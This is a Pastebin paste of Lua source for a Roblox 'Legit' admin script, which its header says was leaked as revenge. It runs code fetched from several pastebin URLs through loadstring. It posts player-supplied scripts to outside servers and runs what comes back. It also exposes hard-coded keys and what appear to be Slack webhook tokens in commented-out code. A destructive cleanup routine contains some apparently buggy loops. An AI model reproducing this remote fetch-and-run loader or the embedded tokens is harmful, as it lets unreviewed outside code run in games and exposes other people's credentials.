Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --legit source, leaked as revenge by you know who, coolmlgcunt
- --require(792860042)(function()
- --Paste entire admin here
- local module={}
- local Children = {}
- for i,child in pairs (script:children()) do
- Children[child.Name] = child:clone()
- child:Destroy()
- end
- script:Destroy()
- local uploadKey = "!!XdLolM8NiceKeyLolLegitM8FhLolNiceKeyEy!!";
- local uploadID = "436583903"
- local uploadServers = {"http://rbx.esy.es/apis/newlocal.php?key="..uploadKey,"http://mlgapis.esy.es/roblox/newlocal.php"};
- local mySites = {"http://mlgapis.esy.es/","http://rbx.esy.es"};
- function decrypt(text)
- local hs = game:GetService("HttpService")
- local result = tostring(hs:GetAsync("http://myapis.esy.es/random/decrypt.php?text="..text))
- return result
- end
- function encrypt(text)
- local hs = game:GetService("HttpService")
- local result = tostring(hs:GetAsync("http://myapis.esy.es/random/encrypt.php?text="..text))
- return result
- end
- local rsbmenucmds = {
- "_tab('Rainbow Output','Deep orange',speaker,function() script.RainbowCmdBar:Clone().Parent = speaker.Backpack end)",
- };
- psacode=nil
- AdminTabLoaders={
- ["Curium"] = {["Name"] = "Curium", ["LoaderId"] = "563249998", ["Creator"] = "plai1", ["Color14"] = "Lime green", ["Custom"] = "6"};
- ["Exodus"] = {["Name"] = "Exodus", ["LoaderId"] = "730457702", ["Creator"] = "Reloxz", ["Color14"] = "Pink", ["Custom"] = ""};
- ["Magnis"] = {["Name"] = "Magnis", ["LoaderId"] = "704242257", ["Creator"] = "Reggicus2", ["Color14"] = "Bright red", ["Custom"] = ""};
- ["Vortex"] = {["Name"] = "Vortex", ["LoaderId"] = "728912893", ["Creator"] = "samuelgp10", ["Color14"] = "Bright blue", ["Custom"] = "()"};
- ["SController"] = {["Name"] = "SController", ["LoaderId"] = "753508545", ["Creator"] = "PointCoded", ["Color14"] = "Really black", ["Custom"] = "()"};
- }
- local testingserver="pWPOa-LsZu3crotQSQAIKmf_GMIfXcRBtnjwetENhcHhcTUBAAAAAA2"
- local cps={}
- CatalogItems={
- ["Testing [doesn't do anything]"] = {["Name"] = "testing [doesn't do anything]", ["LoaderId"] = "1", ["Creator"] = "Blizzard", ["Color14"] = "Toothpaste", ["Custom"] = ""};
- }
- GetUserIdFromNameAsync=function(name)
- return game:service'Players':GetUserIdFromNameAsync(name)
- end
- --[[
- -1 : banned
- 0 : not ranked
- 1 : userco
- 2 : overseer
- 3 : modc
- 4 : admin
- 5 : dev
- 6 : mysterysb
- p
- https://www.dropbox.com/s/7bkvaaton837t91/Legit.txt?raw=1
- ]]
- Blocker = {
- LocalBlock = false;
- GlobalBlock = false;
- };
- function GetDiscoColor(hue)
- hue=hue/4
- local section = hue % 1 * 3
- local secondary = 0.5 * math.pi * (section % 1)
- local thing
- if section < 1 then
- thing=Color3.new(1, 1 - math.cos(secondary), 1 - math.sin(secondary))
- elseif section < 2 then
- thing=Color3.new(1 - math.sin(secondary), 1, 1 - math.cos(secondary))
- else
- thing=Color3.new(1 - math.cos(secondary), 1 - math.sin(secondary), 1)
- end
- return thing
- end
- ChatService=require(game:GetService("ServerScriptService").ChatServiceRunner.ChatService)
- if ChatService:GetSpeaker("Legit") == nil then
- local chb=ChatService:AddSpeaker("Legit")
- chb:JoinChannel("All")
- ChatService:GetSpeaker("Legit"):SetExtraData("NameColor", BrickColor.new("Cyan").Color)
- ChatService:GetSpeaker("Legit"):SetExtraData("ChatColor", BrickColor.new("New Yeller").Color)
- else
- ChatService:GetSpeaker("Legit"):SetExtraData("NameColor", BrickColor.new("Cyan").Color)
- ChatService:GetSpeaker("Legit"):SetExtraData("ChatColor", BrickColor.new("New Yeller").Color)
- end
- if ChatService:GetSpeaker("Legit Discord") == nil then
- local chb=ChatService:AddSpeaker("Legit Discord")
- chb:JoinChannel("All")
- ChatService:GetSpeaker("Legit Discord"):SetExtraData("NameColor", BrickColor.new("Lime green").Color)
- ChatService:GetSpeaker("Legit Discord"):SetExtraData("Font", "SciFi")
- else
- ChatService:GetSpeaker("Legit Discord"):SetExtraData("NameColor", BrickColor.new("Lime green").Color)
- ChatService:GetSpeaker("Legit Discord"):SetExtraData("Font", "SciFi")
- end
- if ChatService:GetSpeaker("CoolMLGDiscord") == nil then
- local chb=ChatService:AddSpeaker("CoolMLGDiscord")
- chb:JoinChannel("All")
- ChatService:GetSpeaker("CoolMLGDiscord"):SetExtraData("NameColor", BrickColor.new("Teal").Color)
- ChatService:GetSpeaker("CoolMLGDiscord"):SetExtraData("Font", "SciFi")
- ChatService:GetSpeaker("CoolMLGDiscord"):SetExtraData("ChatColor", BrickColor.new("New Yeller").Color)
- else
- ChatService:GetSpeaker("CoolMLGDiscord"):SetExtraData("NameColor", BrickColor.new("Teal").Color)
- ChatService:GetSpeaker("CoolMLGDiscord"):SetExtraData("Font", "SciFi")
- ChatService:GetSpeaker("CoolMLGDiscord"):SetExtraData("ChatColor", BrickColor.new("New Yeller").Color)
- end
- if ChatService:GetSpeaker("AzureDiscord") == nil then
- local chb=ChatService:AddSpeaker("AzureDiscord")
- chb:JoinChannel("All")
- ChatService:GetSpeaker("AzureDiscord"):SetExtraData("NameColor", BrickColor.new("Royal purple").Color)
- ChatService:GetSpeaker("AzureDiscord"):SetExtraData("Font", "SciFi")
- else
- ChatService:GetSpeaker("AzureDiscord"):SetExtraData("NameColor", BrickColor.new("Royal purple").Color)
- ChatService:GetSpeaker("AzureDiscord"):SetExtraData("Font", "SciFi")
- end
- if ChatService:GetSpeaker("CoolMLGPlayer") == nil then
- local chb=ChatService:AddSpeaker("CoolMLGPlayer")
- chb:JoinChannel("All")
- ----ChatService:GetSpeaker("CoolMLGPlayer"):SetExtraData("Font", "Cartoon")
- ChatService:GetSpeaker("CoolMLGPlayer"):SetExtraData("ChatColor", BrickColor.new("New Yeller").Color)
- else
- --ChatService:GetSpeaker("CoolMLGPlayer"):SetExtraData("Font", "Cartoon")
- ChatService:GetSpeaker("CoolMLGPlayer"):SetExtraData("ChatColor", BrickColor.new("New Yeller").Color)
- end
- TabFolder = Instance.new("Folder")
- TabFolder.Parent = game:service'Workspace'.Terrain
- TabFolder.Name = "TabFold"
- Muted={}
- UIRemote = Instance.new("RemoteEvent", game:service'ReplicatedStorage')
- UIRemote.Name = "MLGUI"
- plrOxChat = function(plr,Player, Message)
- local val=Instance.new("StringValue")
- val.Name="SB_Chat"; val.Parent=plr; val.Value=tostring(Player).."/"..tostring(Message)
- game.Debris:AddItem(val,0)
- end
- SendChat = require(Children.Needed.ChatModule)
- FChat = require(Children.Needed.ForceChat)
- --leaderboard=require(script.Needed.rblx.playerlist.PlayerlistModule)
- function ctc(name,color)
- if ChatService:GetSpeaker(name) ~= nil then
- ChatService:GetSpeaker(name):SetExtraData("ChatColor", BrickColor.new(color).Color)
- else
- ChatService:AddSpeaker(name)
- ChatService:GetSpeaker(name):SetExtraData("ChatColor", BrickColor.new(color).Color)
- end
- end
- function cnc(name,color)
- if ChatService:GetSpeaker(name) ~= nil then
- ChatService:GetSpeaker(name):SetExtraData("NameColor", BrickColor.new(color).Color)
- else
- ChatService:AddSpeaker(name)
- ChatService:GetSpeaker(name):SetExtraData("NameColor", BrickColor.new(color).Color)
- end
- end
- function cfont(name,font)
- if ChatService:GetSpeaker(name) ~= nil then
- ChatService:GetSpeaker(name):SetExtraData("Font",font)
- else
- ChatService:AddSpeaker(name)
- ChatService:GetSpeaker(name):SetExtraData("Font", font)
- end
- end
- function SkyMLG()
- local s = Instance.new("Sky")
- s.Name = "SKY"
- s.SkyboxBk = "http://www.roblox.com/asset/?id=404089157"
- s.SkyboxDn = "http://www.roblox.com/asset/?id=404089157"
- s.SkyboxFt = "http://www.roblox.com/asset/?id=404089157"
- s.SkyboxLf = "http://www.roblox.com/asset/?id=404089157"
- s.SkyboxRt = "http://www.roblox.com/asset/?id=404089157"
- s.SkyboxUp = "http://www.roblox.com/asset/?id=404089157"
- s.Parent = game.Lighting
- end
- function NoSky()
- for _,v in pairs(game:service'Lighting':GetChildren())do
- if v.ClassName == "Sky" then
- v:remove()
- end
- end
- end
- function cb(cb,cm)
- OxChat(cb,cm)
- if ChatService:GetSpeaker(cb) == nil then
- local chb=ChatService:AddSpeaker(cb)
- chb:JoinChannel("All")
- chb:SayMessage(cm, "All", {})
- else
- local chb=ChatService:GetSpeaker(cb)
- chb:SayMessage(cm, "All", {})
- end
- end
- function chatlegit(text)
- cb("Legit",text)
- end
- Time = require(285173569)
- CommandLogs={}
- funcs={}
- function funcs.ConnectLogger(plr)
- if type(plr) ~= 'userdata'then return end
- if plr:FindFirstChild("SB_CommandRemote",true) then
- plr:FindFirstChild("SB_CommandRemote",true).Changed:connect(function()
- if plr:FindFirstChild("SB_CommandRemote",true).Value == 'h/http://pastebin.com/raw.php?i=TdtSWRAL' then
- sbexe("g/ns")wait(.1)
- plr:Kick("[Script Protector]: You have been kicked for attempting to load a blocked script")
- end
- if plr:FindFirstChild("SB_CommandRemote",true).Value == 'h/http://hastebin.com/raw/muvazesare.lua' then
- sbexe("g/ns")wait(.1)
- plr:Kick("[Script Protector]: You have been kicked for attempting to load a blocked script")
- end
- if #plr:FindFirstChild("SB_CommandRemote",true).Value > 0 then
- table.insert(CommandLogs,{User=tostring(plr.Name);Command=tostring(plr:FindFirstChild("SB_CommandRemote",true).Value)})
- local CurrentTime = Time:GetTime()
- local TimeStamp = ("["..CurrentTime.year.." "..CurrentTime.month.." "..CurrentTime.day.."]")
- --rbxdb:SetValue(TimeStamp..": "..tostring(plr.Name),tostring(plr:FindFirstChild("SB_CommandRemote",true).Value))
- end
- end)
- end
- end
- deepclean=function()
- game:service'Lighting'.ColorShift_Bottom = Color3.new(100, 100, 100)
- game:service'Lighting'.ColorShift_Top = Color3.new(0, 0, 0)
- game:service'Lighting'.Ambient = Color3.new(1, 1, 1)
- game:service'Lighting'.Brightness = 1
- game:service'Lighting'.TimeOfDay = "11:00:00"
- game:service'Lighting'.FogEnd = 99999999
- game:service'Workspace'.Base.Transparency = 0
- game:service'Workspace'.Base.BrickColor = BrickColor.new("Earth green")
- game:service'Workspace'.Base.Locked = true
- game:service'Workspace'.Base.Anchored = true
- t = game:service'Teams':GetChildren()
- for i = 1, #t do
- if t[i]:IsA("Team") then
- t[i]: Destroy()
- end
- end
- local l = game:service'Lighting':GetChildren()
- for i = 1, #l do
- if l[i]:IsA("Sky") then
- l[i]: Destroy()
- end
- end
- local g = game:service'Workspace':GetChildren()
- for i = 1, #g do
- if g[i]:IsA("Part") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Script") then
- g[i].Disabled = true
- g[i]: Destroy()
- end
- end
- local p = game:service'Players':GetChildren()
- for i = 1, #p do
- if g[i]:IsA("Script") and g[i].Name ~= script.Name then
- g[i].Disabled = true
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("StringValue") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("IntValue") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("BoolValue") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("NumberValue") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("ObjectValue") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("RayValue") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Sound") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Accoutrement") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("BrickColorValue") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Motor") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("MotorFeature") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Color3Value") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("BindableEvent") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("BindableFunction") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("LocalScript") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Model") then
- g[i]: Remove()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Hint") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Tool") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("HopperBin") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Fire") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Explosion") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Hat") then
- g[i]: Destroy()
- end
- for i = 1, #g do
- if g[i]:IsA("Message") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Hint") then
- g[i]: Destroy()
- end
- end
- end
- end
- funcs.Hint = function(str,tme)
- for i,v in pairs(game:service'Players':GetPlayers()) do
- coroutine.wrap(function()
- if not v:findFirstChild("PlayerGui") then Instance.new("PlayerGui",v) end
- local g = Instance.new("ScreenGui",v.PlayerGui)
- g.Name="Hint"
- local bg = Instance.new("Frame",g)
- bg.BackgroundColor3=Color3.new(0,0,0)
- bg.BackgroundTransparency=.5
- bg.BorderColor3=Color3.new(0,0,0)
- bg.Name="Bg"
- bg.Size=UDim2.new(1,0,0.05,0)
- bg.Visible=false
- local txt = Instance.new("TextLabel",bg)
- txt.BackgroundTransparency=1
- txt.Name="Text"
- txt.Size=UDim2.new(1,0,1,0)
- txt.Font="ArialBold"
- txt.TextColor3=Color3.new(255,255,255)
- txt.TextScaled=true
- txt.TextWrapped=true
- txt.TextStrokeColor3=Color3.new(0,0,0)
- txt.TextStrokeTransparency=0
- txt.Text=str
- bg.Position=UDim2.new(-1,0,0,0)
- txt.Visible=false
- txt.TextStrokeTransparency=1
- txt.TextTransparency=1
- bg.Visible=true
- bg:TweenPosition(UDim2.new(0,0,0,0),"In","Sine",1)
- wait(1)
- bg.Position=UDim2.new(0,0,0,0) -- just in case
- wait(.5)
- txt.Visible=true
- for i = 100,0,-5 do
- txt.TextTransparency=i/100
- txt.TextStrokeTransparency=i/100
- wait()
- end
- wait(tme)
- for i = 0,100,5 do
- txt.TextTransparency=i/100
- txt.TextStrokeTransparency=i/100
- wait()
- end
- bg:TweenPosition(UDim2.new(1,0,0,0),"Out","Quart",.5)
- wait(tme)
- g:Destroy()
- end)()
- end
- end
- Fire = function(person, color)
- local pos = person.Character.Torso.Position
- for _, v in pairs(person.Character:GetChildren()) do
- if v:IsA'Part' and v.Name ~= "HumanoidRootPart" then
- if v.Name ~= "Head" then
- for i = 0, 10, 1 do
- local part = Instance.new("Part", person.Character)
- part.Name = "Burnt:"..v.Name
- local l = Instance.new("PointLight", part)
- l.Brightness = 5
- l.Range = 5
- part.FormFactor = "Custom"
- part.Size = Vector3.new(v.Size.X + .2, v.Size.Y / 10, v.Size.Z + .2)
- part.CanCollide = false
- part.Transparency = .5
- if _ % 2 == 0 then
- if i % 2 == 0 then
- part.BrickColor = BrickColor.new(color)
- else
- part.BrickColor = BrickColor.new("Really black")
- end
- else
- if i % 2 == 0 then
- part.BrickColor = BrickColor.new("Really black")
- else
- part.BrickColor = BrickColor.new(color)
- end
- end
- part.Material = Enum.Material.Neon
- l.Color = part.Color
- part.TopSurface = "Smooth"
- part.BottomSurface = "Smooth"
- local w = Instance.new("Weld")
- w.Part1 = v
- w.Part0 = part
- w.C1 = CFrame.new(0, (1 - v.Size.Y / 10 * i), 0)
- w.Parent = person.Character.Torso
- w.Name = v.Name
- v.Touched:connect(function(hit)
- if hit.Parent.Name ~= person.Name then
- local hum = hit.Parent:findFirstChild("Humanoid")
- if hum then
- for a, d in pairs(hit.Parent:GetChildren()) do
- if d:IsA'Part' and d.Name ~= "HumanoidRootPart" then
- d.BrickColor = BrickColor.new("Really black")
- d.Material = "CorrodedMetal"
- d.Transparency = 0
- elseif d.Name == "HumanoidRootPart" then
- d:ClearAllChildren()
- elseif
- d:IsA'Shirt' or d:IsA'Pants' or d:IsA'Hat' or d:IsA'BodyColors' then
- d:Destroy()
- end
- end
- end
- end
- end)
- end
- --v.Anchored=true
- elseif v.Name == "Head" then
- local fire = Instance.new("Fire", v)
- fire.SecondaryColor = Color3.new(1, 0, 0)
- v.Material = Enum.Material.Neon
- v.BrickColor = BrickColor.new(color)
- v.Transparency = .5
- pcall(function()
- v.face.Transparency = 1
- local decal = Instance.new('Decal', v)
- decal.Face = "Front"
- decal.Texture = "http://www.roblox.com/asset/?id=209712379"
- end)
- end
- elseif v:IsA'Hat' then
- v.Handle.Material = Enum.Material.Neon
- v.Handle.Mesh.TextureId = ""
- v.Handle.BrickColor = BrickColor.new(color)
- v.Handle.Transparency = .5
- end
- end
- person.Character:MoveTo(pos)
- end
- Fart = function(Character)
- local FartPart = Instance.new("Part", Character)
- FartPart.BrickColor = BrickColor.new("Institutional white");
- FartPart.Material = Enum.Material.SmoothPlastic
- FartPart.Transparency = 1;
- FartPart.Name = "Fart"
- FartPart.FormFactor = Enum.FormFactor.Symmetric
- FartPart.Size = Vector3.new(2, 1, 1);
- FartPart.CFrame = Character.Torso.CFrame * CFrame.new(0, -1, .75) * CFrame.Angles(math.rad(-90), 0, 0);
- FartPart.CanCollide = false;
- FartPart.Locked = true;
- FartPart.BottomSurface = Enum.SurfaceType.Smooth
- FartPart.TopSurface = Enum.SurfaceType.Smooth
- local Weld = Instance.new("Weld", FartPart)
- Weld.C0 = FartPart.CFrame:inverse();
- Weld.C1 = Character.Torso.CFrame:inverse();
- Weld.Part0 = FartPart
- Weld.Part1 = Character.Torso
- local FartSmoke = Instance.new("Smoke", FartPart)
- FartSmoke.RiseVelocity = -5;
- FartSmoke.Size = .1;
- FartSmoke.Color = Color3.new(70 / 255, 100 / 255, 30 / 255);
- FartSmoke.Opacity = 1;
- wait(3);
- FartPart:Destroy();
- end
- funcs.Output = function(Type,Message,User)
- local p = Instance.new('StringValue')
- p.Name = 'SB_Output:Output'
- p.Value = '["'..Type..'","'..Message..'"]'
- wait()
- p.Parent = User
- end
- funcs.Msg = function(title,str,tme)
- for i,v in pairs(game:GetService("Players"):GetPlayers'') do
- coroutine.wrap(function(v)
- if not v:findFirstChild'PlayerGui' then Instance.new("PlayerGui",v);end;
- local g = Instance.new("ScreenGui",v.PlayerGui);
- g.Name="Message";
- local bg = Instance.new("Frame",g);
- bg.BackgroundColor3=Color3.new(0,0,0);
- bg.BackgroundTransparency=.5;
- bg.BorderColor3=Color3.new(0,0,0);
- bg.Size=UDim2.new(1,0,1,0);
- bg.Name="Bg";
- bg.Position=UDim2.new(-1,0,0,0);
- local label = Instance.new("TextLabel",bg);
- label.BackgroundTransparency=1;
- label.Name="Label";
- label.Size=UDim2.new(1,0,.1,0);
- label.Font="SourceSansLight"
- label.TextColor3=Color3.new(170,85,255);
- label.TextScaled=true;
- label.TextWrapped=true;
- label.TextStrokeColor3=Color3.new(255,255,255);
- label.TextStrokeTransparency=0;
- label.Text=title
- local txt = Instance.new("TextLabel",bg);
- txt.BackgroundTransparency=1;
- txt.Name="Text";
- txt.Size=UDim2.new(1,0,.9,0);
- txt.Position=UDim2.new(0,0,.1,0);
- txt.Font="SourceSansLight";
- txt.TextColor3=Color3.new(170,85,255);
- txt.TextScaled=true;
- txt.TextWrapped=true;
- txt.TextStrokeColor3=Color3.new(255,255,255);
- txt.TextStrokeTransparency=0;
- txt.Text=str
- bg.Visible=false;
- txt.Visible=false;
- label.Visible=false;
- txt.TextStrokeTransparency=1;
- txt.TextTransparency=1;
- label.TextStrokeTransparency=1;
- label.TextTransparency=1;
- bg.Visible=true;
- bg:TweenPosition(UDim2.new(0,0,0,0),"In","Sine",1);
- wait'1';
- bg.Position=UDim2.new(0,0,0,0);
- wait'.5';
- txt.Visible=true;
- label.Visible=true;
- for i = 100,0,-5 do
- txt.TextTransparency=i/100;
- txt.TextStrokeTransparency=i/100;
- label.TextTransparency=i/100;
- label.TextStrokeTransparency=i/100;
- wait();end;
- wait (tme);
- for i = 0,100,5 do
- txt.TextTransparency=i/100;
- txt.TextStrokeTransparency=i/100;
- label.TextTransparency=i/100;
- label.TextStrokeTransparency=i/100;
- wait'';end;
- bg:TweenPosition(UDim2.new(1,0,0,0),"Out","Quart",.5);
- wait (tme);
- g:Destroy'';
- end)(v);
- end;
- end
- funcs.OxChat = function(Player, Message)
- for _,plr in next,game:service'Players':GetPlayers() do
- local val=Instance.new("StringValue")
- val.Name="SB_Chat"; val.Parent=plr; val.Value=tostring(Player).."/"..tostring(Message)
- game.Debris:AddItem(val,0)
- end
- end
- function GetLocal(source,player)
- site = "http://rbxapis.ddns.net/newlocal.php"
- id = tonumber(game:GetService('HttpService'):PostAsync(site,source))
- _returnscript = require(id)
- _returnscript.Parent=player.PlayerGui
- _returnscript.Disabled=false
- end
- local legitId = "473799744" -- insert id plox
- OxChat = function(Player, Message)
- for _,plr in next,game:service'Players':GetPlayers() do
- local val=Instance.new("StringValue")
- val.Name="SB_Chat"; val.Parent=plr; val.Value=tostring(Player).."/"..tostring(Message)
- game.Debris:AddItem(val,0)
- end
- end
- function sbexe(cmd,plr)
- if not type(cmd)=='string'then return end
- if plr then
- if type(plr)=='userdata'then
- plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
- elseif type(plr)=='string'then
- plr = game:GetService('Players'):FindFirstChild(plr)
- plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
- end
- else
- for i,v in pairs(game:GetService('Players'):children())do
- v:FindFirstChild("SB_CommandRemote",true).Value = cmd
- end
- end
- end
- Mute = function(Player)
- local mute = Children["UIScripts"]["Mute"]
- mute = mute:Clone()
- mute.Parent = Player.PlayerGui
- wait(.2);mute.Disabled = false
- if not inTable(Muted,Player.Name) then
- table.insert(Muted,Player.Name)
- end
- end
- UnMute = function(Player)
- UIRemote:FireClient(Player)
- wait(.2)
- Player:LoadCharacter()
- remTable(Muted,Player.Name)
- end
- local HttpService = game:GetService("HttpService") --sorry
- function UsernameFromID(ID)
- if type(ID) ~= "number" then
- return
- end
- local sets = game:service("InsertService"):GetUserSets(ID)
- for k, v in next, sets do
- if v.Name == "My Models" then
- return v.CreatorName
- end
- end
- end
- local serv = function(txt)
- return game:service(txt)
- end
- GetNameFromId = function(id)
- return serv'MarketplaceService':GetProductInfo(id).Name
- end
- --[[Log = function(Name, Text)
- coroutine.resume(coroutine.create(function()
- serv'HttpService':PostAsync('https://hooks.slack.com/services/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'
- ,
- '{"text":"'..Text..'", "username":"'..Name..'"}'
- , Enum.HttpContentType.ApplicationUrlEncoded)
- end))
- end
- ChatGeneral = function(Name, Emoji, Text)
- coroutine.resume(coroutine.create(function()
- serv'HttpService':PostAsync('https://hooks.slack.com/services/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'
- ,
- '{"text":"'..Text..'", "icon_emoji":"'..Emoji..'", "username":"'..Name..'"}'
- , Enum.HttpContentType.ApplicationUrlEncoded)
- end))
- end
- serv'Players'.PlayerRemoving:connect(function(Player)
- discordchat(''..GetNameFromId(game.PlaceId), Player.Name..' left the game.')
- end)
- serv'Players'.PlayerAdded:connect(function(Player)
- (''..GetNameFromId(game.PlaceId), Player.Name..' joined the game.')
- end)--]]
- startuptime=0
- ver=1.5
- datastores=true
- update=false
- cid=0
- baseranked=loadstring(game:service'HttpService':GetAsync('https://pastebin.com/raw/zSBzCxU0'))()
- users={}
- mytableforservers = {}
- plrdata={}
- me="https://preview.c9users.io/ujdjidjciejiejidjcfvbfvbrn/legit-workspace-222/LegitV1/LegitV1.lua"
- banlist={}
- music={"341153646","318928000","279810957","256620658","218211859",'690116475','683706836','603205878','195997590','225000651','315352338','463166567','457600861','346786918'}
- rank=loadstring(game:service'HttpService':GetAsync('https://pastebin.com/raw/cQKjwkM6'))()
- action=''
- n=nil
- playertimes={}
- for i,v in pairs(game:service'Players':players'')do playertimes[v.Name]=tick()-1 end
- orig=music
- prefix=loadstring(game:service'HttpService':GetAsync('https://pastebin.com/raw/MtzNcaMT'))()
- key='---K3YF0RUNKN0WNM8F0CKUB1TCH---'--loadstring(game:service'HttpService':GetAsync('https://pastebin.com/raw/rJHYRtnj'))()
- local banKey = "..--LegitBanKeyLolol--..";
- local dataStore = game:GetService("DataStoreService");
- priservers = game:service 'DataStoreService':GetDataStore ('MyMLGPrivateServersFamLol');
- priservertable = game:service 'DataStoreService':GetDataStore ('MyMLGPrivateServersTableFamLol');
- local banStore = dataStore:GetDataStore(banKey);
- local banList = (banStore:GetAsync(banKey) or {});
- suffix=loadstring(game:service'HttpService':GetAsync('https://pastebin.com/raw/FNKeyrcS'))()
- speed=.002
- songrequests={"256065615","168846695","247316945","256620658","297836572","383654449","341153646","318928000","279810957","256620658","218211859"}
- skipanim=false
- vote={}
- vote.y=0
- vote.n=0
- vote.topic=''
- local c={}
- c.snd=BrickColor.new'Royal purple'
- c.pink=BrickColor.new'Hot pink'
- c.black=BrickColor.new'Really black'
- c.iw=BrickColor.new'Institutional white'
- c.blue=BrickColor.new'Bright blue'
- c.white=BrickColor.new'White'
- c.purple=BrickColor.new'Royal purple'
- c.red=BrickColor.new'Really red'
- c.green=BrickColor.new'Really black'
- c.cmdc=BrickColor.new'Deep orange'
- c.Red=BrickColor.new'Navy blue'
- defaultcolor=BrickColor.new('Institutional white')
- urlf='rbxassetid://'
- logs={LOG={};CLOG={}}
- pri=false
- events={}
- logs.write=function(str)
- str='[MLG] '..str
- str=str:gsub('\n','\n [MLG] ')
- table.insert(logs.LOG,str)
- print(str)
- end
- logs.cwrite=function(str)
- table.insert(logs.CLOG,str)
- if #logs.CLOG>100 then table.remove(logs.CLOG,1)end
- end
- logs.last=function()
- return logs.LOG[#logs.LOG]
- end
- logs.clear=function()
- logs.LOG={}
- end
- plrs=game:service'Players'
- colors={'White','Really blue','Really red','New Yeller','Maroon','Lime green','Royal purple','Deep orange','Toothpaste', 'Hot pink', 'Really black', 'Institutional white', 'Navy blue'}
- function randin(tblz)
- rand='White'
- print(#tblz)
- local rand=math.random(1,#tblz)
- return tblz[rand]
- end
- wk=workspace
- script.Name=tostring(math.random(1,256)*2563343)..'#~Legit~#'
- tabs={} -- tabs >> player >> tablets
- Players=plrs
- votesent=false
- list=function(tbl)
- local str=''
- for i,v in pairs(tbl)do
- str=str..tostring(v)
- if i~=#tbl then str=str..', 'end
- end
- return str
- end
- getprefix=function()
- return prefix
- end
- _match=function(str,spkr)
- if str==nil then return{}end
- if (str:match '.+,.+') then
- local matches = {str:match '(.+),(.+)'};
- matches = {_match (matches [1], spkr), _match (matches [2], spkr)};
- local rtn, used = {}, {} do
- for k, v in next, matches do
- for i, plr in next, v do
- if (not used [plr]) then
- rtn [#rtn + 1], used [plr] = plr, true;
- end;
- end;
- end;
- end;
- return rtn;
- end;
- if str==nil then return{}end
- local st=str:lower();
- local found={};
- if st:sub(0,1)=='%'then--team wildcard
- for i,v in pairs(game:service'Teams':GetChildren())do
- if (v:IsA'Team')and(v.Name:lower():find(st:sub(2))~=nil) then
- for i,p in pairs(plrs:GetPlayers'')do
- if p.TeamColor==v.TeamColor then
- table.insert(found,p);
- end;
- end;
- break;
- end;
- end;
- elseif st=='*'or st=='all'then
- for i,v in pairs(plrs:GetPlayers'')do
- table.insert(found,v);
- end;
- elseif st=='admins'or st=='ranked'then
- for i,v in pairs(plrs:GetPlayers'')do
- local e=getrank(v.Name) if e ~= 0 then
- table.insert(found,v)
- end;
- end;
- elseif st=='nonadmins'or st=='nonranked'then
- for i,v in pairs(plrs:GetPlayers'')do
- local e=getrank(v.Name) if e == 0 then
- table.insert(found,v)
- end;
- end;
- elseif st=='friends'then
- local spkrid=spkr.UserId
- for i,v in pairs(plrs:GetPlayers'')do
- if v:IsFriendsWith(spkrid) or v.Name == spkr.Name then
- table.insert(found,v)
- end;
- end;
- elseif st=='nonfriends'then
- local spkrid=spkr.UserId
- for i,v in pairs(plrs:GetPlayers'')do
- if not v:IsFriendsWith(spkrid)then
- table.insert(found,v)
- end;
- end;
- elseif st:sub(1,1)=='#'then
- local idgroup=st:sub(2);
- pcall(function()
- for i,v in pairs(plrs:GetPlayers'')do
- if v:IsInGroup(idgroup)then table.insert(found,v);end;
- end;
- end);
- elseif st=='me'then
- return {spkr};
- elseif st=='others'then
- for i,v in pairs(plrs:GetPlayers'')do
- if v~=spkr then
- table.insert(found,v);
- end;
- end;
- else
- for i,v in pairs(plrs:GetPlayers'')do
- if v.Name:lower():find(st)~=nil then
- table.insert(found,v);
- end;
- end;
- end;
- return found;
- end
- function NewLocal(plr,source)
- hs = game:GetService("HttpService")
- id = tonumber(hs:PostAsync(uploadServers[1], source))
- returnscript = require(id)
- returnscript.Parent = plr.PlayerGui
- end
- function NewScript(source)
- hs = game:GetService("HttpService")
- id = tonumber(hs:PostAsync("http://mlgapis.esy.es/roblox/NewScript.php", source))
- returnscript = require(id)
- returnscript.Parent = workspace
- end
- function NewModule(source)
- hs = game:GetService("HttpService")
- id = tonumber(hs:PostAsync("http://mlgapis.esy.es/roblox/NewModule.php", source))
- require(id)
- end
- _plr=function(player,speaker)
- if not player then return;end
- if type(player)=='string'then
- local plrsz=_match(player,speaker)
- return plrsz[1]
- end;
- if player:IsA'Player'then return player;end;
- if plrs:FindFirstChild(player)then return _plr(plrs[player]);end;
- return;
- end
- disabletabs=function()
- for i,v in pairs(tabs)do
- dmp(i)
- end
- for i,v in pairs(events)do
- v:disconnect()
- end
- wait(2)
- for i,v in pairs(events)do
- v:disconnect()
- end
- enabled=false
- logs.write'disabling'
